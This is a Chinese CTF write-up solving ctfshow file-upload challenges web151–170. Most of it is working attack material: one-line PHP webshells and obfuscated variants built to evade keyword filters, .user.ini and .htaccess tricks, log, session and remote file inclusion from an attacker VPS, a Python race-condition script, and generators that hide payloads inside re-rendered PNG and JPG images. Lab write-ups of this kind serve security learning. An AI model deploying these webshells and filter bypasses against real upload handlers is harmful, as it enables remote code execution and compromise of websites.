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ctfshow文件上传

web151

考点:前端校验

image-20231124171819591

将png改成php代表接受php文件

然后上传一句话木马

web152

考点:后端校验(MIME)

校验了MIME值,改成image/png

if($_FILES['file']['type'] == 'image/png')

web153

考点:过滤php后缀名

发现upload文件夹里面有php文件,可以利用.user.ini

先上传.user.ini

auto_prepend_file=2.png

再上传2.png(内容一句话木马)

web154,155

考点:过滤内容php

短标签绕过

<?= eval($_POST[1]);?>

然后同上题操作

web156

考点:过滤[括号

if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE)

可以用{}进行代替

web157

考点:过滤php、[、{、;

姿势一
<?=eval(array_pop($_POST))?>
姿势二
日志包含
UA头写入一句话木马
2.png内容
<?include '/var/log/nginx/access.log'?>

web158

考点:过滤php、[、{、;、log

姿势一
<?=eval(array_pop($_POST))?>
姿势二
日志包含
UA头写入一句话木马
2.png内容
<?include '/var/l'.'og/nginx/access.l'.'og'?>

web159

考点:过滤php、[、{、;、log、(

function check($str){
return !preg_match('/php|\{|\[|\;|log|\(/i', $str);
}
同样进行日志包含或
<?=`tac ../f*`?>

web160

考点:过滤php、[、{、;、log、(、空格、反引号

过滤了空格可以用换行替换

%0d换行来代替空格

function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}
2.png内容
<?include'/var/l'.'og/nginx/access.l'.'og'?>

image-20231129193204434

web161

考点:GIF89a绕过getimagesize

function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);
}

image-20231129195851229

getimagesize函数,获取图片大小信息

添加文件头GIF89a可以绕过

//.user.ini
GIF89a
auto_prepend_file=2.png
//2.png
GIF89a
<?include'/var/l'.'og/nginx/access.l'.'og'?>

web162,163

考点:长地址远程包含,session文件包含

function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

姿势一:远程文件包含

条件:allow_url_include为ON

将vps的IP地址转换成长地址(不含点)

上传.user.ini

GIF89a
auto_prepend_file=http://长地址/🐎路径

上传png图片
<?include'http://长地址/🐎路径'?>

image-20231129232539461

姿势二:

session文件包含、条件竞争

首先上传文件.user.ini,和png

GIF89a
auto_prepend_file=png
png:
GIF89a
<?=include"/tmp/sess_123"?> //123是指PHPSESSID的值

写脚本进行竞争

import requests
import io
import threading

url = "http://052b1dd8-15ad-49c6-9ea7-61873cc8cca3.challenge.ctf.show/"
f = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
response = session.post(
url=url,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat ../flag.php')?>"},
cookies={"PHPSESSID":"123"},
files={"file":("1.txt",f)}
)

def read(session):
while True:
response1 = session.get(url=url+"upload")
if 'ctfshow' in response1.text:
print(response1.text)


if __name__ == '__main__':
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()

session文件上传条件?为什么要竞争?

session.upload_progress.enabled 选项开启时(默认开启) //文件上传进度
session.upload_progress.cleanup = on
//表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.auto_start:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。

参考链接:浅谈 SESSION_UPLOAD_PROGRESS 的利用

web164

考点:png二次渲染绕过

首先上传正常的图片,下载下来与原图比较,发现内容有变化

猜测可能是图片进行了二次渲染

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'11.png'); #保存在本地的图片马
?>

利用脚本生成图片马

image-20231206130828586

利用包含点,执行命令

GET:
0=system
POST:
1=cat flag.php

web165

考点:jpg二次渲染

这题只能上传jpg图片

把上传的图片下载下来,发现图片里多了一句话

image-20231207124057882

经php GD库渲染后的图片一般有如下特征字符串:

CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80

参考:一些CTF 做题的tricks

绕过脚本:

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip)
{
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

使用方法:

命令:
php jpg_payload.php 1.jpg
注:需要用linux环境运行,我用的Ubuntu

web166

只能上传zip

先找个zip,写入一句话

image-20231207131801685

上传之后,抓包直接包含就行了

源码

if($_FILES['file']['type'] == 'application/x-zip-compressed')
if(in_array($ext_suffix, array("zip")
限制了文件类型和后缀

web167

考点:.htaccess文件

上传Apache的分布式配置文件(.htaccess)

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

然后再上传.png文件的🐎

最后访问就行了

web168

考点:基础免杀

上传php后缀可以上传,题目提示是免杀,那就是内容过滤了

function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}

免杀

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

<?=`$_REQUEST[1]`?>
<?php echo `$_REQUEST[1]`;?>

web169

考点:高级免杀

function check($str){
return preg_match('/eval|include|require|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>/i', $str);
}

日志包含

web170

考点:终极免杀


function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>|\(|\)|\{|\[|\}|\]|\,|\%|\`|\~|\+/i', $str);
}

日志包含可以绕过